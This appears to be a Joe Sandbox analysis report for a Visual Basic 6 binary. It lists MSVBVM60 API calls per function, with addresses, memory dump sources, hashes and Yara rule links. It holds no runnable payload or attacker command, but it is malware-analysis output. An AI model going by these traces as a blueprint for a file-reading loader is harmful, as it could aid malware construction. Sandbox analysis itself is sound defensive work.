Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
Part of subcall function 0040EE70: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
Part of subcall function 0040EE70: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117

__vbaStrMove.MSVBVM60(?,00000000), ref: 00419256
__vbaStrCmp.MSVBVM60(00000000), ref: 00419259
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00419277
__vbaFileClose.MSVBVM60(00000000), ref: 0041928D
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 004192A6
__vbaLenBstr.MSVBVM60(004053B8), ref: 004192AD
__vbaGet3.MSVBVM60(00000004,0041B1A0,00000000), ref: 004192F5
#525.MSVBVM60(00000000), ref: 004192FE
__vbaStrMove.MSVBVM60 ref: 0041930B
__vbaGet3.MSVBVM60(00000000,0041B1A4,00000000), ref: 0041931C
__vbaGet3.MSVBVM60(00000004,0041B110,00000000), ref: 0041932C
__vbaStrCopy.MSVBVM60 ref: 00419341
#648.MSVBVM60(0000000A), ref: 00419359
__vbaFreeVar.MSVBVM60 ref: 00419368
__vbaStrCat.MSVBVM60(00000000,?), ref: 00419379
__vbaStrMove.MSVBVM60 ref: 00419384
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,00000000), ref: 00419396
__vbaFreeStr.MSVBVM60 ref: 0041939F
__vbaGenerateBoundsError.MSVBVM60 ref: 004193C1
__vbaUI1I2.MSVBVM60 ref: 004193CC
__vbaUI1I2.MSVBVM60 ref: 004193F8
__vbaUI1I2.MSVBVM60 ref: 00419402
__vbaExitProc.MSVBVM60 ref: 00419694
__vbaFreeStr.MSVBVM60(004196D8), ref: 004196CB
__vbaFreeStr.MSVBVM60 ref: 004196D0
__vbaFreeStr.MSVBVM60 ref: 004196D5

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$Move$Get3$Copy$#516#631BstrFile$#525#648ErrorOpen$#537BoundsCloseExitGenerateListProc
String ID:
API String ID: 3049632819-0
Opcode ID: e3b1f2423bc377d9a5caf306efc6a375a264b61fcf0490b5b8eb9692d819d35f
Instruction ID: 619ad798aab7bc499b7524e0dff90ded30000a5dd3d7a33beffa270327a53f47
Opcode Fuzzy Hash: e3b1f2423bc377d9a5caf306efc6a375a264b61fcf0490b5b8eb9692d819d35f
Instruction Fuzzy Hash: 44D1C472900249EFDB14EFA4DD64ADDBBB6FB48300F10812AE555A72A0DB385CC1CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00415D30 Relevance: 64.8, APIs: 43, Instructions: 350COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(660E1A08,00000000,660E6C4A), ref: 00415DA5
__vbaStrCopy.MSVBVM60 ref: 00415DAD
__vbaOnError.MSVBVM60(00000001), ref: 00415DB1
__vbaStrToAnsi.MSVBVM60(?,?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00415DD0
__vbaSetSystemError.MSVBVM60(00000000), ref: 00415DE1
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00415DEB
__vbaFreeStr.MSVBVM60 ref: 00415DFA
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000,?), ref: 00415E2D
__vbaSetSystemError.MSVBVM60(?,?,00000006,?,00000000), ref: 00415E43
__vbaSetSystemError.MSVBVM60(?,?,00000010,?,00000000), ref: 00415E59
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 00415E70
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,?,00000000), ref: 00415E86
__vbaAryLock.MSVBVM60(?,?), ref: 00415E97
__vbaGenerateBoundsError.MSVBVM60 ref: 00415EB4
__vbaGenerateBoundsError.MSVBVM60 ref: 00415EC3
__vbaSetSystemError.MSVBVM60(?,3F800000,?,?,00000000), ref: 00415EE4
__vbaAryUnlock.MSVBVM60(?), ref: 00415EEA
__vbaSetSystemError.MSVBVM60(?), ref: 00415EF9
__vbaStrToAnsi.MSVBVM60(?,?,C0000000,00000000,00000000,00000003,00000000,00000000), ref: 00415F0E
__vbaSetSystemError.MSVBVM60(00000000), ref: 00415F19
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00415F23
__vbaFreeStr.MSVBVM60 ref: 00415F32
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 00415F98
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?), ref: 00415FAB
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 00415FCA
__vbaAryLock.MSVBVM60(?,?), ref: 00415FD4
__vbaGenerateBoundsError.MSVBVM60 ref: 00415FF1
__vbaGenerateBoundsError.MSVBVM60 ref: 00415FF9
__vbaUbound.MSVBVM60(00000001,?,?,00000000), ref: 0041600D
__vbaSetSystemError.MSVBVM60(?,3F800000,00000000), ref: 00416026
__vbaAryUnlock.MSVBVM60(?), ref: 00416032
__vbaAryLock.MSVBVM60(?,?), ref: 0041603C
__vbaGenerateBoundsError.MSVBVM60 ref: 0041605C
__vbaGenerateBoundsError.MSVBVM60 ref: 0041606D
__vbaAryUnlock.MSVBVM60(?,?,?,3F800004,?), ref: 00416095
__vbaSetSystemError.MSVBVM60(?), ref: 004160A5
__vbaExitProc.MSVBVM60 ref: 004160AE
__vbaSetSystemError.MSVBVM60(?,?), ref: 004160D0
__vbaExitProc.MSVBVM60 ref: 004160D9
__vbaFreeStr.MSVBVM60(00416126), ref: 00416103
__vbaRecDestruct.MSVBVM60(00406C9C,?), ref: 0041610E
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041611A
__vbaFreeStr.MSVBVM60 ref: 00416123

Part of subcall function 00416140: __vbaSetSystemError.MSVBVM60(00000000,?,00000006,?,00000000,?,00415E12,?), ref: 00416174

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$System$BoundsGenerate$Free$LockUnlock$AnsiCopyDestructExitProcUnicode$RedimUbound
String ID:
API String ID: 2812220623-0
Opcode ID: 57e9575da3c81f2ccb810852609170278bbd2706e9235e0bb030ce107236565a
Instruction ID: e990e7f7e1d036554655f0c5b60a984b82b92affe55a7b322dae047d0808a029
Opcode Fuzzy Hash: 57e9575da3c81f2ccb810852609170278bbd2706e9235e0bb030ce107236565a
Instruction Fuzzy Hash: 40D11B71D00208ABCB04DFE5DD84DEEBBB9FF88700F14851AF506AB254DB75A986CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004128B0 Relevance: 61.7, APIs: 41, Instructions: 214COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,00000000,004025E6), ref: 004128CE
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 004128FB
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004025E6), ref: 0041290A
#648.MSVBVM60(0000000A), ref: 00412929
__vbaFreeVar.MSVBVM60 ref: 00412938
__vbaI2I4.MSVBVM60(?), ref: 0041294C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0041295A
__vbaI2I4.MSVBVM60 ref: 0041296A
#570.MSVBVM60(00000000), ref: 00412971
__vbaLenBstr.MSVBVM60(00404B24), ref: 0041297E
__vbaI2I4.MSVBVM60 ref: 004129B3
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 004129BE
__vbaI2I4.MSVBVM60 ref: 004129CE
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 004129DB
__vbaLenBstr.MSVBVM60(00404B24), ref: 004129F9
__vbaLenBstr.MSVBVM60(00404B24), ref: 00412A27
#525.MSVBVM60(00000000), ref: 00412A2E
__vbaStrMove.MSVBVM60 ref: 00412A39
__vbaI2I4.MSVBVM60 ref: 00412A49
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 00412A54
__vbaI2I4.MSVBVM60 ref: 00412A64
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00412A71

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?), ref: 00412A8C
__vbaStrCopy.MSVBVM60 ref: 00412AAA
__vbaStrMove.MSVBVM60(00000003), ref: 00412ABB
#616.MSVBVM60(00000000), ref: 00412AC2
__vbaStrMove.MSVBVM60 ref: 00412ACD

Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
Part of subcall function 0040EE70: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
Part of subcall function 0040EE70: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117

__vbaStrMove.MSVBVM60(?,00000000), ref: 00412AE2
__vbaStrCmp.MSVBVM60(00000000), ref: 00412AE9
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00412B10

Part of subcall function 0040EE70: __vbaStrCopy.MSVBVM60 ref: 0040F13C
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(0040F175), ref: 0040F16E

__vbaStrMove.MSVBVM60(?,?,?,00000000), ref: 00412B36
__vbaStrMove.MSVBVM60(00000004), ref: 00412B57
#618.MSVBVM60(00000000), ref: 00412B5E
__vbaStrMove.MSVBVM60 ref: 00412B69
__vbaI4Str.MSVBVM60(00000000), ref: 00412B70
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00412B87
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,00000000), ref: 00412B9A
__vbaFileClose.MSVBVM60(00000000), ref: 00412BA1
__vbaFreeStr.MSVBVM60(00412BEA), ref: 00412BDA
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00000000), ref: 00412BE3
__vbaErrorOverflow.MSVBVM60 ref: 00412C00

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$FreeMove$BstrFile$#516#631Copy$ErrorGet3ListSeek$#525#537#570#616#618#648ChkstkCloseOpenOverflow
String ID:
API String ID: 277344030-0
Opcode ID: 4fdbd1f00878914f35780159ae431110eecd2a164aeb5ddbb8388ccc6ffa626b
Instruction ID: f355006ae09e1e352358bc31eb7e3acedda410367e126062bc5f553c60d2b707
Opcode Fuzzy Hash: 4fdbd1f00878914f35780159ae431110eecd2a164aeb5ddbb8388ccc6ffa626b
Instruction Fuzzy Hash: D891C8B1D00208EFDB04DFE4DE58BDEBBB4BB48305F208169E612B76A0DB745A45CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAB0 Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 255COMMON

Download Yara Rule

APIs

#594.MSVBVM60(?,660E1A08,-00000001,660E6C30), ref: 0040EB1A
__vbaFreeVar.MSVBVM60 ref: 0040EB23
__vbaLenBstr.MSVBVM60 ref: 0040EB2F
#631.MSVBVM60(?,?,0000000A), ref: 0040EB68
__vbaStrMove.MSVBVM60(?,?,0000000A), ref: 0040EB73
#516.MSVBVM60(00000000,?,?,0000000A), ref: 0040EB7A
__vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 0040EB89
__vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 0040EB92
#593.MSVBVM60(00000002,?,?,?,?,0000000A), ref: 0040EC76
#714.MSVBVM60(?,00000004,00000000,?,?,?,0000000A), ref: 0040ED04
__vbaVarAdd.MSVBVM60(?,?,00000003,?,?,0000000A), ref: 0040ED1C
__vbaI4Var.MSVBVM60(00000000,?,?,0000000A), ref: 0040ED23
__vbaFreeVarList.MSVBVM60(00000004,00000002,00000004,?,?,?,?,0000000A), ref: 0040ED40
#537.MSVBVM60(?,?), ref: 0040ED54
__vbaStrMove.MSVBVM60(?,?), ref: 0040ED65
__vbaStrCat.MSVBVM60(00000000,?,?), ref: 0040ED68
__vbaStrMove.MSVBVM60(?,?), ref: 0040ED73
#537.MSVBVM60(?,00000000,?,?), ref: 0040ED77
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 0040ED82
__vbaStrCat.MSVBVM60(00000000,?,00000000,?,?), ref: 0040ED8B
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 0040ED92
#537.MSVBVM60(00000000,00000000,?,00000000,?,?), ref: 0040ED96
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 0040EDA1
__vbaStrCat.MSVBVM60(00000000,?,00000000,?,?), ref: 0040EDA4
__vbaStrMove.MSVBVM60(?,00000000,?,?), ref: 0040EDAB
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?,?,00000000,?,?), ref: 0040EDC3
__vbaStrCopy.MSVBVM60 ref: 0040EDEC
__vbaFreeStr.MSVBVM60(0040EE4E), ref: 0040EE47
__vbaErrorOverflow.MSVBVM60(?,?,0000000A), ref: 0040EE69

Strings

gfff, xrefs: 0040EC7F
gfff, xrefs: 0040EC1D

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Free$#537$List$#516#593#594#631#714BstrCopyErrorOverflow
String ID: gfff$gfff
API String ID: 2397813863-3084402119
Opcode ID: 1859efc3a836bc8348b47109d9ac22472ae7e224be2a5a0a1c78bdaa5bd21b43
Instruction ID: 69a6bd49322be43a13479f126592eb8a048afae0e7896bfb7d302a94b416162a
Opcode Fuzzy Hash: 1859efc3a836bc8348b47109d9ac22472ae7e224be2a5a0a1c78bdaa5bd21b43
Instruction Fuzzy Hash: CD9141B5E00208DBCB08DFB5DD89ADDBBBAEB88341F14453AE505F72A0DB345985CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00410780 Relevance: 52.7, APIs: 35, Instructions: 227COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,004093D0,00000000), ref: 0041079E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004107CE
__vbaAryConstruct2.MSVBVM60(?,004068A0,00000003,?,?,?,00000000,004025E6), ref: 004107DF
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 004107EE
__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,00000000,004025E6), ref: 0041080A
__vbaRecUniToAnsi.MSVBVM60(00404B50,?,00000128), ref: 00410844
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041085A
__vbaRecAnsiToUni.MSVBVM60(00404B50,00000128,?), ref: 00410873
#525.MSVBVM60(00000104), ref: 0041089C
__vbaStrMove.MSVBVM60 ref: 004108A7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 004108DE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041091D
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 00410938
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041095E
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 0041096F
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00410984
#616.MSVBVM60(?,?,?,00000000), ref: 00410999
__vbaStrMove.MSVBVM60(?,00000000), ref: 004109A7
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 004109BE
__vbaFreeStr.MSVBVM60(?,00000000), ref: 004109CA
#517.MSVBVM60(?,?,00000000), ref: 004109DB
__vbaStrMove.MSVBVM60(?,00000000), ref: 004109E9
#517.MSVBVM60(?,00000000,?,00000000), ref: 004109F7
__vbaStrMove.MSVBVM60(?,00000000), ref: 00410A05
__vbaStrCmp.MSVBVM60(00000000,?,00000000), ref: 00410A0C
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 00410A30
__vbaRecUniToAnsi.MSVBVM60(00404B50,?,?,?,00000000,004025E6), ref: 00410A77
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 00410A8D
__vbaRecAnsiToUni.MSVBVM60(00404B50,?,?,?,00000000,004025E6), ref: 00410AA6
__vbaSetSystemError.MSVBVM60(?), ref: 00410ACA
__vbaFreeStr.MSVBVM60(00410B37), ref: 00410B03
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00410B1B
__vbaFreeStr.MSVBVM60 ref: 00410B24
__vbaFreeStr.MSVBVM60 ref: 00410B30

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$FreeSystem$AnsiMove$#517$#525#616BoundsChkstkConstruct2CopyDestructGenerateListUnicode
String ID:
API String ID: 3648932012-0
Opcode ID: 87815be6b7c03a5207e36eb47b7e00b3ec7173c49da51aca528be144e1a0b0d3
Instruction ID: cf7582b6c84a3ebcd0dc45819e7631e4fb138bd8fd28df0a43539233d5c0ba2c
Opcode Fuzzy Hash: 87815be6b7c03a5207e36eb47b7e00b3ec7173c49da51aca528be144e1a0b0d3
Instruction Fuzzy Hash: 7FA109B5901219DFDB14DFA0DD48BDEBBB4BF48304F1081AAE50AB72A0DB745A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040C700 Relevance: 48.5, APIs: 32, Instructions: 452COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,004025E6), ref: 0040C71E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,004025E6), ref: 0040C74E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00405414,00000728), ref: 0040C7A1
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040563C,0000001C), ref: 0040C7E9
__vbaI2I4.MSVBVM60 ref: 0040C80D
__vbaFreeObj.MSVBVM60 ref: 0040C81A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C884
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406C48,0000004C), ref: 0040C8B7
__vbaFreeObj.MSVBVM60 ref: 0040C8EF

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$CheckHresult$Free$ChkstkError
String ID:
API String ID: 1728155253-0
Opcode ID: 57bc03b52b3c873fae243cd4aa70e656bc598bd1710269bbbe43208556864782
Instruction ID: 528750ef8f6217dc53c7ee79ba9f07e518e2306c00ab0ecc930209c3b3704f0e
Opcode Fuzzy Hash: 57bc03b52b3c873fae243cd4aa70e656bc598bd1710269bbbe43208556864782
Instruction Fuzzy Hash: BA1229B5900208EFDB14DFA4C988BDEBBB5FF48700F208269E509B7291D7759985CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0040EE70 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
#631.MSVBVM60(?,?,?), ref: 0040EEF8
__vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
#516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
__vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
__vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
#631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
__vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
#516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3
__vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
__vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
#631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
__vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
#516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
__vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
__vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
#537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
__vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
__vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
__vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
__vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117
__vbaStrCopy.MSVBVM60 ref: 0040F13C
__vbaFreeStr.MSVBVM60(0040F175), ref: 0040F16E
__vbaErrorOverflow.MSVBVM60(?), ref: 0040F18B

Strings

gfff, xrefs: 0040EF13
VUUU, xrefs: 0040EEB5
VUUU, xrefs: 0040EFC9

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$Move$#516#631$#537BstrCopyErrorOverflow
String ID: VUUU$VUUU$gfff
API String ID: 3310697333-2314002932
Opcode ID: 54317dd8e67cb568bc16672bdc0ba9886cd6a0f52f287c8f5b22d9497fb7e9dd
Instruction ID: f629f5cd6c6994accf7ffd4865734aab981d1da92c9f489476db43807f34fb7a
Opcode Fuzzy Hash: 54317dd8e67cb568bc16672bdc0ba9886cd6a0f52f287c8f5b22d9497fb7e9dd
Instruction Fuzzy Hash: FB717771E00105EBC718CFB9DA8959DBF76ABCC341F44413AE805FB6A4DA385D8A8B58

Uniqueness

Uniqueness Score: -1.00%

Function 004163E0 Relevance: 46.8, APIs: 31, Instructions: 331COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001,00000000,660CC33A,6600A3D7), ref: 00416456
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,00000000), ref: 00416487
__vbaSetSystemError.MSVBVM60(?,?,00000040,?,00000000), ref: 0041649F
__vbaSetSystemError.MSVBVM60(?,?,?,00000000,?,?,00000040,?,00000000), ref: 004164C4
__vbaSetSystemError.MSVBVM60(?,?,00000014,?,00000000,?,?,?,00000000,?,?,00000040,?,00000000), ref: 004164D9
__vbaSetSystemError.MSVBVM60(?,?,000000E0,?,00000000,?,?,00000014,?,00000000,?,?,?,00000000,?,?), ref: 004164F4
__vbaRedim.MSVBVM60(00000000,00000028,?,00000000,00000001,00000000,00000000,?,?,000000E0,?,00000000,?,?,00000014,?), ref: 00416513
__vbaAryLock.MSVBVM60(?,?,?,00000000,?,?,00000040,?,00000000), ref: 00416527
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416547
__vbaGenerateBoundsError.MSVBVM60(?,?,00000040,?,00000000), ref: 00416567
__vbaSetSystemError.MSVBVM60(?,3F800000,?,?,00000000,?,?,00000040,?,00000000), ref: 00416595
__vbaAryUnlock.MSVBVM60(?,?,?,00000040,?,00000000), ref: 0041659E
